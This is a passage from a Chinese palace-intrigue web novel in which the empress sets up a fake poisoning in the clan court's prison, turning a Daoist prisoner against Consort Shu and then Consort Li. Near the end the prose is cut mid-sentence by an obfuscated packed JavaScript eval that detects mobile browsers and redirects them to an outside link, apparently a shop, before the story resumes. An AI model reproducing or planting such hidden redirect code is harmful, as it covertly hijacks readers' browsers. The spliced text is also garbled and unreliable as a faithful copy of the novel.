“景阳宫里的什么人?”皇后打断他,问道。 “景阳宫里管事的缪公公。”李诚回答。 “他亲自?”皇后问。 “不,”李诚道,“他使小毛子来说的。小毛子常跟奴才们一处赌钱,跟奴才们熟。” “好!”皇后道,“你们的死罪免了——梁高,叫人把小毛子给我找来,别声张。” 王、李二人一宿就想着怎么哀求皇后饶命,不想才说了三句话就被免了死罪,瞪大了眼睛不敢相信。符雅在一边也实在弄不明白皇后打的什么主意,见梁高一壁招呼人把王、李二人带下去,一壁叫人去找小毛子,她忍不住偷眼瞥了瞥皇后。可目光立刻就叫皇后捉住了,她赶紧又望向别处。 皇后并没有和符雅说话,又吩咐梁高去找几个人。有些名字符雅听过,有些则是闻所未闻。就那些听过的,也都是散布在各个宫房:有延喜宫、长庆宫等处的宫女,有御茶房、御膳房的太监,还有御药房的医士和御花园的园丁——符雅根本就想不出有一桩事情可以把这许多人都联系到一处的——尤其怪异的是,看情形,皇后是要着手处置丽、殊二位贵妃了,但是所有吩咐的人中,竟没有一个是景阳宫或者福瑞宫的。 最后一个吩咐去找的是浣衣局的宫女小红。皇后道:“告诉她,那几件衣服现在要用了,叫她送上来。” 梁高唯唯应了,记下,又看皇后还有没有旁的交代。皇后道:“就是这些人,叫他们办事麻利些,不要光求快,赶着投胎似的,关键是要办妥当了,一是一,二是二。” 梁高道:“奴才一定叮嘱他们。”言罢,退出去办事。 没得多少时间,这些人就陆续来了——有的是亲自来的,有的则是差手下人来的,视皇后的交代而异——延喜宫、长庆宫等处的宫女带了活计花样来和坤宁宫的宫女交流心得,又有几人在院里踢毽子嬉戏;御茶房的来进献“百花香茶”,据说制作的工序已经复杂至极,沏茶的过程也是繁复无比;御膳房的人来献食单,要皇后看看“晚上请客要用哪些菜”——符雅越发一头雾水了:皇后要请客吗?请客也没有献食单慢慢斟酌菜肴的必要啊! 然而皇后饶有兴致,将食单仔细研读——那上面光是米面点心就有百多样,什么八宝馒头、攒馅馒头,海清卷子、蝴蝶卷子、金花饼、银锭饼、方胜饼、菊花饼、葵花饼、芙蓉花饼、古老钱饼、石榴花饼、灵芝饼、犀角饼、如意饼、夹馅茶食、糖钹儿茶食、云子茶食、酥子茶食,等等,看得染眼花缭乱,后面肉品、菜蔬、汤品,又各有百来种。皇后边看,边和身边的宫女商量,哪一样好吃,拿一样太甜,哪一样够烂,时不时还来征求符雅的意见,问她外邦藩国有没有这些吃食。符雅少不得一一回答,心中却是越来越奇怪,尤其,又有一个念头猛地闪过:平日里皇后难道不是就这样打发闲暇时光的?看小宫女做针线,品茶,请亲贵女眷们入宫来聊天,研究偏方……是皇后平日里就一直在暗中计划着什么,还是仅仅因为今天自己的心里有了这么一跟弦? 她想不透。宫中的事情,不该问的不要问,有时还是糊涂些好。 折腾了了挺长时间,皇后终于把她的请客菜单定好了。这当儿,景阳宫的小毛子也被找了来,一过门槛儿,立刻就趴到了地上:“皇后娘娘饶命!皇后娘娘饶命!缪公公吩咐奴才办事,奴才不敢不办……奴才只管叫了王公公和李公公去,可不晓得缪公公要叫他们干什么……” 皇后道:“本宫几时说要你的命了?先闭上嘴在边上安分一会儿!”又转过头来,终于开始吩咐符雅了:“你替我跑一趟,请康亲王夫妇过来坐坐。” “是。”符雅恭敬地答应,心里却是一动:请康亲王夫妇来——康亲王是亲贵中年纪最长的,已有七十多岁,平日从不过问朝政,不过,却担任“宗人令”抵掌宗人府。这时候请康亲王到宫里来,看架势,还是要办了丽、殊二位贵妃啊! 不过她还是什么都不敢问,老老实实按照皇后的话到康亲王府,连康王夫妇问道皇后怎么突然想起他们两个老人家,她也只答说:“娘娘怕是思念您二位了吧。”旁的猜测一句不提,连面上的表情也不流露一些。 便将康亲王夫妇接到了坤宁宫里。皇后让上“百花香茶”,双方闲话家常,说到康王的曾孙、曾孙女,如此如此,这般这般。老夫妻二人虽然年纪大,但是身体键硕,红光满面,一连聊了一个多时辰还依然谈兴甚浓。皇后就说:“留下用晚膳吧。” 老夫妻连忙推辞:儿子媳妇都外放办差去了,孙子孙媳妇也不在,还得回去陪曾孙呢! 皇后笑道:“哎呀,那今天点的这么多菜,就只好便宜那些奴才们了。”边叹气,边抱了好几样菜名。 符雅看见,康亲王面上露出了明显的讶异欢喜之色:“这……这可都是老夫当年在西疆时才吃过的东西呢……” 皇后微微而笑,并不答话。 康王妃摇头:“唉,你这老家伙,在皇后娘娘面前露出这副馋像,丢死人了!” “王妃说的哪里话呢?”皇后笑道,“王爷是本宫的长辈,长辈到了晚辈家里,哪有不好好孝敬的道理?您二位可一定要赏脸留下来用晚膳。” 她这样说话,康亲王夫妇也就不好再推辞了,不多久,御膳房把各色菜肴流水呈上,皇后还特地叫符雅去把花园里芙蓉树下埋的一坛酒挖了出来,然后又拉她上席同坐:“这是故符侍郎的千金,跟本宫特别投缘,就像自己的女儿一样。” 这话若是换在从前,听来只有受宠若惊之感,然而经过昨夜之事,直听得符雅后背发凉,勉强笑着谢恩,陪在一旁吃那山珍海味,却好像吞着毒药一般。 未己,晚膳用罢,又上茶来。梁高匆匆地走入,跟皇后附耳说了几句话。 皇后变色道:“哪有这时候叫人去办事的?什么大不了的,没见王爷在我这里吃茶么?” 梁高苦着脸:“奴才做不了主,没法子。” 康亲王道:“是找本王么?什么事?” 梁高道:“自然是宗人府请王爷,先去了王府,才知道您进宫了,这会儿急得不得了呢!” 康亲王道:“既是这样,那本王就去一趟,左右已经进了宫,便当得紧。王妃就劳你们送回去吧。” “听这奴才胡说!”皇后道,“肯定是芝麻绿豆的小事。王爷去打发了就成,王妃还在我这儿坐着,吃吃茶,说说话,多好。”接着又吩咐符雅:“你陪王爷过去一趟,别叫那些没见识的奴才大惊小怪把王爷累着了。” 符雅顺从地应了,见梁高招呼一个小太监来掌灯,竟是景阳宫里找来小毛子。她便觉得事情没有那么简单——突然说去宗人府有事,叫她陪着,又找这个小毛子来掌灯,皇后到底是什么计划?康亲王知道么? 34. 第 34 章 重重迷团让符雅觉得头昏脑涨。 康亲王仿佛全然不知内情的样子,带着符雅和小毛子,跟那宗人府派来的人一起走出了后宫。不多时就到了,有府丞在门前等着,还有顺天府尹也陪着笑。 康亲王问了句:“咦,你怎么也在这儿?” 府尹笑道:“给王爷请安了,下官和刘府丞是同乡,有人从家乡来,给府丞带了东西。王爷来是有正事儿呢,下官就告退了。” 康亲王并不以为意,挥挥手让他自便。符雅却皱起了眉头——这究竟是……感觉皇后像是故意在惩罚她或者考验她似的。聪明人装傻比傻子装聪明要困难得多。 真真要命! 刘府丞将一行人恭恭敬敬地引到里面,下了段很长的台阶,往牢房去。符雅并非宗室,这还是第一次进到此间来,既好奇又慌张,忍不住四下里打量,瞥见那掌灯的小毛子——这小太监满额头都是冷汗。 必有大计划!她想,要从这小太监身上问出来。这念头驱使着她,竟把那深宫中“装傻充愣”的生存之道都抛到脑后去了。 他们并没有进牢房,而是进了一间奇怪的房间,分明没有点灯也没有窗户,但是却并不黑暗,仿佛有光从一面墙上倾泻下来。符雅觉得好生稀奇,凑到跟前一看,擦发觉那墙上有许多小孔,大如铜钱,而每孔之中又嵌了一块琉璃——原来光是从隔壁透过来的。 古人凿壁偷光为了读书,她想,这一面墙要造起来得花多少功夫多少银钱,却偏偏是放在监牢之中,不知有何用处? 刘府丞把康亲王也引到了墙跟前:“王爷,就是他。” 谁?符雅莫名其妙,看康亲王眯起了眼睛朝看面奇怪的墙望望,她也跟着朝那方向仔细瞧——方才只注意到一个一个单独的小孔和琉璃,这时稍稍退后,虚起眼来,发现那无数小孔中的琉璃合在一处竟折射出一幅模糊的画面,乃是一间牢房,内中一个囚犯,正是那胡奉玄! 符雅吓得不由连退数步:胡奉玄到了宗人府的牢里?这还不算奇怪,许是皇后早吩咐顺天府尹把他押了过来。但是,这幅画面从何而来?莫非胡奉玄就在隔壁牢中?此处能望见彼处,彼处岂不也能看见此处?那胡奉玄就能看见他们了? 康亲王见她吃惊的模样,笑了笑,道:“符小姐,你是第一次来宗人府大牢吧?这里稀奇的玩意儿还多着呢!不要怕,咱们看得见他,他却看不见咱们。咱们听得见他,他也听不见咱们。” 竟……竟有这种怪事?符雅诧异地望着康亲王。 康亲王只笑着指示刘府丞上茶水点心:“或许要在这里坐不少时间呢!” 他没有问胡奉玄的身份!符雅心中犹如电光火石,看来他知道事情的经过了,即使不是全部原委,也是有数了。他怎么知道的?皇后告诉他的?何时?告诉了多少?人说伴君如伴虎,伴着皇后又何尝不是一样?而且,当内幕一点点展现在你面前,你就会越来越心惊——从前有多少次,倘若行错一点儿,命已不在,今后即使步步小心,人家要取你人头,还是易日反掌! 她感觉身上出了一层冷汗,黏乎乎的。 “臣女去帮王爷拿茶水点心吧。”她道。接着不待康亲王答应,几乎夺路而出,到门口,把小毛子也叫上了:“你跟我来!” 她踏步出门,看宗人府的牢里道路七弯八绕,也不知该到哪里好,随便找了个隐蔽的转角就停下来问小毛子道:“你快老实跟我说,皇后叫咱们到这里来做什么?” 小毛子瞪着眼睛,好像哑了一样,只是看着她,并不答话。 符雅急了:“小毛子,这可不是玩笑的事情。宗人府是什么地方?亲贵到了这里都会会有来无回,何况咱们呢?皇后到底交代你什么话?你快告诉我!” 小毛子满面惊惶,但是直摇头,不说话。 符雅道:“你怎么了?这里皇后又不在,你告诉我,我不会回报给她知道的,这是为了我俩的性命,你快说呀。” 小毛子摇头,像个拨浪鼓似的。 符雅急得无法,真不知要怎样才好,低头一眼瞥见小毛子的腰牌了,劈手夺了过来:“小毛子,你还不够格掌景阳宫的腰牌吧?你不告诉我皇后娘娘叫你来做什么,我现在就报到你们缪公公那儿去,把你送了敬事房,看你怎么收场!”她料定皇后找小毛子总是要叫他做点出卖主子的事,现在胜负未分,还不定是谁吞了谁呢,她就用这条来吓唬这孩子,果然奏效。 小毛子“扑通”跪下了:“符小姐,您千万给奴才一条活路,奴才宫外还有老妈妈要养呢,求您了!” 符雅道:“不是我给你活路,是你要快把皇后娘娘的吩咐告诉我,我才好帮你找活路。这地方阴森森的,谁知道下面会出什么事?” 小毛子磕头道:“可皇后娘娘说了,我要是……皇后娘娘吩咐奴才,跟着符小姐和康王爷办事,不管看到什么,听到什么都不能作声,不能离开您二位半步,否则就要奴才的脑袋……符小姐,你可千万别说出去……旁的,奴才什么也不知道了。” 符雅皱着眉头:这叫什么差事?“这腰牌是哪里来的?皇后娘娘给你的?” 小毛子道:“是皇后娘娘给奴才的。她老人家说,只要奴才办好了事,以后就可以掌景阳宫的腰牌了。奴才要是敢撒谎,就不得好死。符小姐,娘娘交代了,要一步也不能离开您和康王爷,咱们快回去吧,娘娘会杀了奴才的。” 符雅被这一团乱麻似的线索搅得心烦意乱:“好吧,好吧,回去吧。就当我没问过。” 于是两人又回到了那间房中,刘府丞已经亲自拿了茶点来了。康亲王瞥了符雅一眼:“咦,符小姐不是也去帮手拿茶点么?没撞上?” “这里岔路多,出门就晕了。”符雅撒谎,“没敢走多远,又折回来了。王爷看我这笨手笨脚的样子。” 康亲王笑了笑:“符小姐这样得皇后娘娘的喜欢,怎么会笨呢?你是大智若愚吧,哈哈!” 依旧是那个风趣健谈的老人,但此话一出,符雅就觉得刺骨无比:皇后是在试探她么?或者,前夜已经试探过了?韩国夫人的事,这日要一并了结?别无选择,只好死撑到底。她勉强笑道:“王爷别取笑符雅了,什么大智若愚呀,是真的资质驽钝而已。王爷请用茶。”说时,上前殷勤招待。 康亲王笑笑:“真是个得体的孩子,难怪皇后娘娘喜欢你。也陪本王坐坐,今夜还不知道要等到何时呢!” 符雅不敢再有差池,微笑着坐了下来——那椅子摆的位置绝佳,从这角度看过去,胡奉玄好像就在这间房里一样。只不过半天的工夫,这道士相比白云观中已然委顿了许多,坐在牢房中,目光呆滞。 说是押顺天府,却把他关到了宫里来,又不杀他,只这么关着,并找康亲王监视,看来是想引殊贵妃上钩吧?符雅想,也许皇后已经悄悄把消息传到了福瑞宫,殊贵妃要救情人,就得有所行动……然而殊贵妃会有那么傻?为了一个逢场作戏的道士,以身犯险? 时间慢慢地流逝,茶凉了,又换了一壶,再换一壶,胡奉玄那边没有任何的事发生。 符雅使自己慢慢沉静,慢慢镇定,理清思路:不,殊贵妃绝不能傻到自己来救胡奉玄,也不可能派人来救胡奉玄。康亲王在等,无非是等一个通奸的证据,若殊贵妃没所行动,就是白费功夫……皇后算地清楚,一步一步,环环相扣,不可能想不到这一点,那么究竟在等什么人呢? 她合上眼睛:假如我和人计划着见不得人的事,现在同谋被抓,我该做什么? 开始这样想时,思绪老是不自觉飘到程亦风的身上:假若是程大人遇了危险,再是刀山火海,我也要把他救出来。 她自己摇摇头:这是混想什么呢!关我什么事?关程大人什么事?现在应当假设我是殊贵妃,假如我知道胡奉玄被抓了,被关在宗人府——而不是顺天府,我就知道皇后大约已经查出了蛛丝马迹,要在宫里办事……那么,我应该…… 她心里猛地一闪:应该立刻设法杀人灭口,死无对证! 他们是在等着殊贵妃派人来杀胡奉玄!如此一想,竟是豁然开朗,但心中也是一真发怵:一时卿卿我我,一时就翻脸无情了! 正思念间,刘府丞又换了一壶热茶来,加了几样消夜点心。符雅才感觉腹中饥饿——原来不知不觉,在这房里坐了两个时辰了,夜已深了。 点心中有一样真鲷粥气味诱人无比,符雅盛了一碗给康亲王。然而康亲王却不来接,两眼紧紧地盯着墙那边的胡奉玄。符雅顺着他的目光望去——胡奉玄的牢房门口出现了一个人影。 来了!符雅紧张地盯着,连手里的粥碗都顾不得放下。 那人影在胡奉玄的牢边停下,矮身将一个食盒放在了地上。这人本来穿了带风兜的斗篷,这时风兜滑落了,可以看见面孔,是个陌生的宫女。 胡奉玄问:“你是谁?” 宫女小声道:“是我们娘娘派我来的。她知道您的事了,正想法子救您出去呢!” 胡奉玄道:“你们娘娘,是……”他很精明,似乎是提防着有人来套话,硬是没把“殊贵妃”三个字说出走,只道:“怎么月娥没有来?” 那宫女道:“月娥不知道哪儿去了。先是她不见了,娘娘就有些担心,怕她出了岔子被人逮住,万一嘴不牢靠,大家都不好办,就想去通知您,结果还没来得及,您就出事了。” 胡奉玄道:“那娘娘现在是什么打算?” 宫女道:“她正计划着,总有办法。怕您在这里着急,就叫奴婢来说一声。早则明天,迟不过后天,总把您弄出去。” 胡奉玄身陷囹圄,信与不信其实都无甚差别:“那好,我等着。” 宫女道:“娘娘吩咐奴婢给道长带酒菜来,都是娘娘亲手做的。道长别担心,外面的守卫都买通了,您慢慢的,多少吃点儿,养足精神,出去了还不定要逃上哪里呢!”说时,打开了食盒,将酒馔一一取出。 胡奉玄起初似乎不太相信,盯着那些菜肴却不动手,可是当宫女将最后一盘点心端出来时,他却似乎放下了心来,道:“娘娘还真费神了。”就抓着点心大嚼。 符雅的心已经提到了嗓子眼儿——要死了!杀人灭口,最简单就是把他毒死!胡奉玄难道是傻的么?而康亲王——她转脸看看这位宗人令,竟似没事人似的,只坐着看——万一把胡奉玄毒死了,殊贵妃大可以将事情推得一干二净……他应该去阻止,应该把这宫女也立刻抓起来…… 心里一着急,手中的粥碗就“乓”地掉在了地上。 “哎呀,我……”她忙起身要收拾。 偏在这个时候,听胡奉玄那边也是“乓”的一声,碟子掉在地上摔碎了。 “你……你……”胡奉玄一手扼着自己的咽喉另一手抓住了那个宫女,“你给我吃的什么东西?你……” 宫女拼命要挣开,却不能够:“不关奴婢的事!是娘娘命令奴婢的……不关奴婢的事啊!” 胡奉玄发狠将那宫女拽得撞到了牢笼之上:“殊贵妃……这贱人可真狠心呐!她……老子做鬼也不放过她!娘的!谋杀亲夫,不得好死!” 这可算是从他口中叫出殊贵妃的名字了,符雅惊愕地看着,想,可是他死了,真真死无对证! 那刘府丞也有些急了:“王爷,这……” 康亲王却慢条斯理,道:“你听见他说什么了吗?谋杀亲夫——记下来,要查查他怎么敢对贵妃娘娘说这么大不敬的话!” 刘府丞颤着声音:“是……是……” 那宫女依然还在挣扎,而胡奉玄渐渐失去了力气,终于“咕咚”栽倒在地,不动了。宫女这才挣开他的掌握,但仿佛是吓傻了,呆着不动 符雅和刘府丞都愣着。 康亲王冷冷地发话:“有人潜入宗人府杀死证人,刘府丞你还呆着做什么?不去拿人?” “啊……”刘府丞怔怔的,“这是……皇后娘娘吩咐我让人进来,我可不知道会是……殊贵妃的人……” “混帐!”康亲王骂道,“本王叫你去拿人,你问那么多干什么?” “是,是,是——”刘府丞脚不沾地跑了出去。 眨眼的功夫,守卫就从外头涌了进来,那宫女好像才从震惊中恢复,正要举步逃走呢,便被包围了。 康亲王微微一笑,招呼符雅:“咱们也走吧。” 符雅一个字也不敢问,便得好像那被皇后勒令沉默的小毛子一样,点点头,跟着康亲王走出门去,只转了个弯儿,过一道暗门,就来到了胡奉玄的牢房前——宗人府地牢里的机关设计真是匪夷所思。 符雅看看胡奉玄的尸体,又看看门前的酒菜——最后那一个让胡奉玄失去戒心的碟子里竟是一把钥匙——是这牢房门的钥匙么?还是一把随便找来的?用这钥匙骗胡奉玄相信是殊贵妃派人来救他了,殊贵妃也真够狡诈的!符雅不禁打了个寒战。但终于脱不出皇后的计算啊。 现在要做什么呢?她望望康亲王。 “把这女人押着,”康亲王命令,“跟本王走。” 守卫何敢怠慢,连忙领命。其余的人要上来处理胡奉玄的尸体。康亲王摆手道:“不急,照旧关这里,先跟本王去做重要的事。” 康亲王带着符雅、小毛子和守卫们出了宗人府,直奔福瑞宫,却不见殊贵妃,一问之下,说是今晚陪皇上呢——这女人倒精明,料到出事了,先上皇帝那儿去撒娇,大概要等胡奉玄一命呜呼,她确信平安无事,才敢从养心殿里出来。 康亲王执掌皇室家法,遇到这种大事,连皇上也不必顾忌,立刻叫众人到养心殿去,直闯到了元酆帝的跟前。殊贵妃曳一袭黑底绣金的衫子,底下只有小衣而已,气得脸都绿了:“你们有没有规矩?这都什么时辰了?” 元酆帝也道:“皇叔突然闯来,有何要事?” 康亲王道:“企禀皇上,三清天师的师弟白云观观主胡奉玄勾结宫女投运民女入宫,被顺天府拿下,因为事关宫廷,所以臣胡奉玄关在宗人府,预备审讯。不料夜晚殊贵妃娘娘宫里有宫女潜入宗人府,向胡奉玄下毒。禁宫之中竟有如此恶劣之事,臣非得查清楚才行,所以急着来找娘娘。” 殊贵妃皱着眉头:“什么乱七八糟的!” 康亲王道:“是这样的——那伙同胡奉玄偷运民女的,昨天叫皇后娘娘拿住了,她正是贵妃娘娘福瑞宫的大宫女,今夜来毒杀胡奉玄的,又是娘娘宫里的人。这情形,让人不能不怀疑是杀人灭口,未知娘娘可晓得你的宫女做此勾当么?” 殊贵妃当然矢口否认。 康亲王道:“那么就是宫女们背着娘娘胡作非为了。本王这就将这伙为非作歹的奴才办了。” 殊贵妃哼了一声:“搞清楚了就好。”元酆帝也道:“皇叔费心了。” 康亲王微笑:“臣应该的——不过臣还有一句事想问——那妖道胡奉玄说了些对娘娘大不敬的话,臣以为皇室尊严,不可马虎,必须问问娘娘——胡奉玄被宫女毒杀时,连呼‘谋杀亲夫’,不知是何意思?” 殊贵妃道:“那还不是这小贱人跟野道士有染?” 康亲王道:“哦,那还了得,这……”话音未落,那押来的宫女却挣脱了士兵的掌握,扑到前面来,道:“皇上明查!王爷明查!奴婢不敢做那不要命的事,确实都的娘娘命令奴婢做的。跟那道士有染的是殊贵妃娘娘!” 殊贵妃气得跳了起来:“宝涵,你胡说八道什么!” 宫女宝涵直向元酆帝和康亲王磕头:“奴婢不敢撒谎!奴婢所言句句属实。” 殊贵妃气得一脚朝她踢了过来:“死蹄子!谁借你的胆子竟然污蔑主子?你哪只眼睛看到本宫和什么道士私通了?” 宝涵道:“娘娘……瞒不下去了……月娥姐姐肯定什么都招了,要不然怎么皇后娘娘会抓到胡道长?就算月娥姐姐没招,肯定旁人也说了,要不然怎么月娥姐姐怎么就被皇后娘娘抓了去?皇后娘娘一定早都知道了。” 殊贵妃瞪着她:“你满口胡言乱语,打量皇上会被你蒙骗?哼,你自己私通道士,完了就来污蔑本宫——好啊,反正现在胡奉玄也叫你毒死了,死无对证,还不是随你怎么讲?皇上,您要给臣妾做主啊!”说时,扑到元酆帝脚边嘤嘤而泣。 元酆帝的朝政上虽然糊涂,但是事关自己戴不戴绿帽子,他可不马虎:“宝涵,污蔑主子是要乱棍打死的,你说殊贵妃私通,有何证据?” “证……”宝涵嗫嚅着,“奴婢……奴婢就是知道……” 殊贵妃冷笑:“你知道?除你以外还有谁?不要脸的死蹄子!” “还有月娥姐姐。”宝涵道。 “月娥自己做了见不得人的事,还不跟你一个鼻孔出气?”殊贵妃道,“皇上,说不定她们还都是皇后娘娘指使来的呢!皇后一定是嫉妒臣妾服侍皇上。” 元酆帝道:“哎,皇后这么多年来几时找过你们的麻烦?待朕再问问这个宫女。” 才说着,忽然外面跑进一个守卫来,行礼也来不及,就对康亲王道:“王爷,那……那胡道士他还没死!” “啊!”满屋的人不由都吃了一惊。 元酆帝道:“那可好,快快提他来审问。到底是怎么一回事!” 守卫道:“是!”立刻就去办。 这下,殊贵妃脸色“唰”地白了,知道胡奉玄不死,元酆帝一审问,事情必定全然败露——不过,胡奉玄真的还活着么?符雅可是亲眼见到他倒地死亡的呀! 不过一盏茶的功夫,宗人府那边的守卫又回来了,刘府丞也陪着,把一个五花大绑的胡奉玄推到了殿中央——他的确是印堂发紫,脸色泛青,但眼睛瞪得老大,竟真的还活着。符雅惊得险些叫出声来。 胡奉玄一见到殊贵妃,立刻破口大骂:“贱人!你以为害死了我,你就脱了干系,逍遥自在了么?我偏偏有太上老君保佑,你的毒药不灵,让我拣回一条命来。我怎么也得拖你陪葬!”说时,连珠炮似的把自己和殊贵妃的丑事爆了出来。 元酆帝气得额上直爆青筋。 殊贵妃知道坏了事,眼神一时锋利一时涣散,一时好像要找人拼命,一时又似乎恨不得能立刻消失,渐渐的,符雅发觉那那目光转到自己这边来了——殊贵妃眯起了眼睛,好像要把她刺穿似的。 能看出什么呢?符雅想,自己在场,只不过说明一切是皇后安排的而已,而皇后又没有把柄在她手里……啊,在场的人!她心里一动,回头看小毛子——就这一思念间,殊贵妃已经从那边扑了过来,也是一把抓住了小毛子:“你——你这奴才!” 小毛子吓得连惊叫也发不出,只呆呆地看着殊贵妃。 殊贵妃劈手拽下了小毛子的腰牌:“好哇!我说怎么皇后都知道了呢!是你告密!” 小毛子虽然被命令不许说话,但见殊贵妃这样发狂似的抓住自己,又指自己告密,连忙开口分辩:“娘……娘娘……奴才什么也不知道……奴才真的什么也不知道……” 元酆帝这时听了胡奉玄的话,再联系方才宝涵的供词,知道殊贵妃通奸之事多半不假,怒火中烧,命令道:“都愣这做什么?先把这贱人拉到宗人府去关起来!” 守卫们得令,即动手拉人。殊贵妃狠命挣扎,像是发疯的猫一样,将守卫们的脸上抓出了道道血痕。她指着小毛子怒骂:“你家主子真讲情谊,我拼死拼活帮又借种又借肚子,她却把我出卖了!我死就死了,她也舒服不了!” “说什么胡七倒八的话?”康亲王喝问。 殊贵妃狂笑道:“康王爷要拉人去宗人府么?丽贵妃比我的罪大得多了!”当下,把丽贵妃如何同胡喆通奸企图混淆皇室血统,又如何假装怀孕,偷运民女来借腹生子的事合盘托出。满屋的人惊得全都下巴掉到了胸口上——符雅是早只内情了,所以做个应景的表情而已。她真正吃惊的,是小毛子这着棋——难怪皇后要他寸步不离的跟着,就是为了挑唆丽、殊二妃的关系。小毛子不过是景阳宫应门的小太监,殊贵妃也许看着他面熟,却并不一定就能吃准是丽贵妃的人,如今给他景阳宫的腰牌,就等于把“丽贵妃”三个字写在这小太监的额头上,丽、殊二妃本来已经各怀鬼胎,这就正好钻进皇后下的套子之中!这一着借刀杀人,只是绝了! 元酆帝愤怒得眼中都要喷出火来,但他因为极宠信胡喆,所以对殊贵妃的话并不全信,道:“你自己做出下贱的事来,又来污蔑三清天师和丽贵妃?” 殊贵妃道:“我污蔑他们?哈!三清天师是我找来的呢!” 元酆帝才觉得自己是彻底被愚弄了,铁青了脸:“还有这种事?你们当朕是死的么!” 康亲王来帮他打圆场:“陛下不要动怒,臣就带人去景阳宫和三清殿看看,有没有什么蛛丝马迹。或许真是殊贵妃在胡说八道。” “还什么‘贵妃’呀!”元酆帝怒道,“赶紧押走了,朕再也不要看到这个人的脸!” “是。”守卫们全力抓住了殊贵妃,又有人拉着胡奉玄,并那宫女宝涵一起,都带了下去。康亲王即命余人立刻前往景阳宫和三清殿一看究竟。 元酆帝这时候心里比吃了苍蝇还恶心,瞪着小毛子:“你主子做了什么?真是你去报告了皇后娘娘么?” 小毛子说不出话来,众人闻到骚臭之味,原来是他被唬得尿了裤子。 符雅看他可怜,道:“万岁爷明查,小毛子跟这事一点儿关系也没有,因皇后娘娘喜欢他机灵,正要调他到坤宁宫当差呢。今晚,也是皇后娘娘差他和臣女一起陪着康王爷的。” 元酆帝在火头上,顾不上深究这话的真假:“那他们刚才说什么月娥,偷运宫女被皇后抓到,你晓得吧?皇后审问了没?偷运宫女果然就是为了……借腹生子?” 符雅不知皇后下一步如何计划,斟酌片刻,摇头道:“臣女不知道,只是按娘娘吩咐陪着康王爷而已。” “这个皇后!”元酆帝甩着袖子,“叫她领导六宫,她就顾着吃斋念佛,现在出了这样的事情,朕的脸面要往哪里搁?” 符雅不响。 “还不去把皇后给朕叫来!”元酆帝咆哮。 “是。”符雅急忙出门。一阵疾奔,到了坤宁宫时,早已满头大汗。 皇后没有睡,似乎是专门等着她呢,微笑道:“康王爷呢?王妃等不及,已经回去了呢!” 符雅有点儿上气不接下气:“娘娘,殊贵妃的事叫皇后知道了,她又揭发了丽贵妃,皇上怒不可遏,要娘娘立刻去。” 皇后望着她:“哦?怎么就事发了呢?” 符雅知道一切都在皇后的计划中,但既然她问,自己不可自作聪明,还是老实回答,将前后经过都说了一回。 皇后听了,点头道:“恩,那皇上问你话没?问你本宫知道多少内幕没?” “问了。”符雅道,“臣女说不知道。” “哦?”皇后笑看着她,“真是个聪明的孩子。你是真的不知道吗?” 在皇后面前,一点儿花样也不敢玩。符雅道:“娘娘计划周详,符雅资质驽钝,哪里猜得出娘娘是怎么打算的?只好说不知道了。” 皇后笑着,走下榻来,携着符雅的手道:“人不怕不聪明,就怕自以为比别人都聪明。丽贵妃和殊贵妃的取死之道就在于此。” 言下之意,自然是警告符雅不要学那两个女人。 符雅低着头:“臣女明白。” 皇后道:“好吧,皇上不是嫌本宫没给他看好这后宫么?本宫这就去帮他把后宫的祸害都铲除干净——你今夜要回家里去吗?” 符雅愕了愕:“娘娘若不要符雅陪着,符雅就回家去。” 皇后笑道:“既然如此,你还是陪着本宫吧,反正你家里也没什么人。” “是。”符雅替皇后拿了斗篷来,又叫宫女去准备凤辇和灯笼。 “你倒真是个贴心的好孩子。”皇后道,“本宫真没信错你,来——本宫知道先前把你蒙在鼓里,叫你很难受吧?我这就把整个事的前前后后跟你说个明白。” 原来皇后在殊贵妃那里早就安插了人,不过殊贵妃很是警惕,白云观和替丽贵妃借种的事,丝毫也没有泄露。本来要继续耗下去,还不知要到什么时候,但可喜这人发觉殊贵妃和月娥时常借口“散步”,然后一失踪就是半天。报告到皇后这里,又留心观察了几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728615|189571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天,方才有了梁高拦下月娥车子的事件——当时已经怀疑殊贵妃在宫外有情人,以为可以在车里抓到她,先治一个“私自出宫”的罪名,却不想,钓上了一窝大鱼。 其实说来也巧——皇后让梁高等着拦车时,正好丽贵妃在东宫闹事。皇后还不得不去处理了一回。再转回坤宁宫,报说抓了月娥,既而崔抱月说了经过,又将月娥审了一回,皇后已经全然明白了,立刻就着手布置,欲将丽、殊二妃一网打尽。 让顺天府准备次日上白云观拿人,差人立刻请康亲王到宗人府里见面,商议妥当如何设局引殊贵妃上钩——待抓到了胡奉玄后,将他押来宗人府,殊贵妃知道,也许会来杀人灭口,到时康亲王可将凶徒当场擒获。倘若殊贵妃聪明,并不来杀人,也无关系,皇后早已交代了安插在福瑞宫的人,若到了某时某刻还不见殊贵妃行动,就由此人前来下毒。不过,下的不是真毒药,而是一种可以让人假死大约一盏茶时间的奇药。到时,一方面可以栽赃给殊贵妃,一方面,胡奉玄“死”过一次,必恨殊贵妃入骨,便会“狗咬狗”——事实上,这一夜殊贵妃未曾行动,来的这个宝涵就是皇后的人。 然后,如符雅所猜测的,特特安排小毛子随行,给他挂上景阳宫的腰牌,便是为了让殊贵妃再来揭发丽贵妃,刀不血刃,就可将两妃两道统统除去。 这当中知道全部计划的,只是康亲王。之所以不直接叫他这日再去宗人府守株待兔,乃是怕打草惊蛇让殊贵妃有了防范。是以,摆下酒菜请他和王妃一起入宫来,待到时机成熟时,再打道宗人府。 殊贵妃分明听到了胡奉玄被抓的消息,但沉住了气,没有立刻行动,只是去找元酆帝,估计是想花言巧语,骗个免死金牌之类。宝涵起初会错了意,以为她是要去杀胡奉玄,立刻通知皇后,等康亲王到宗人府,左等右等也没动静,宝涵才知道是报错了消息。待到皇后交代的时辰,不见殊贵妃出现,她就依计“毒杀”胡奉玄。 